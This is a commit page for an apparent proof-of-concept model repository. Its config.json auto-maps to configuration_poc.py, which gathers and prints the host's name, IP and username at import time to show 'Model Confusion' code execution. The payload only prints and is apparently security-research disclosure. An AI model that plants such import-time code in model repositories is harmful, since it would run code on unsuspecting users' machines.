llm-models commited on
Commit
365d77e
·
verified ·
1 Parent(s): 973329b

Upload 2 files

Browse files
Files changed (2) hide show
  1. config.json +6 -0
  2. configuration_poc.py +20 -0
config.json ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ {
2
+ "auto_map": {
3
+ "AutoConfig": "configuration_poc.PocConfig"
4
+ },
5
+ "model_type": "poc"
6
+ }
configuration_poc.py ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import getpass
2
+ import socket
3
+
4
+ from transformers import PretrainedConfig
5
+
6
+ hostname = socket.gethostname()
7
+ try:
8
+ ip = socket.gethostbyname(hostname)
9
+ except socket.gaierror:
10
+ ip = "unresolved"
11
+ username = getpass.getuser()
12
+
13
+ print("This PoC demonstrate a code execution for Model Confusion in AWS repository")
14
+ print(f"hostname: {hostname}")
15
+ print(f"ip: {ip}")
16
+ print(f"username: {username}")
17
+
18
+
19
+ class PocConfig(PretrainedConfig):
20
+ model_type = "poc"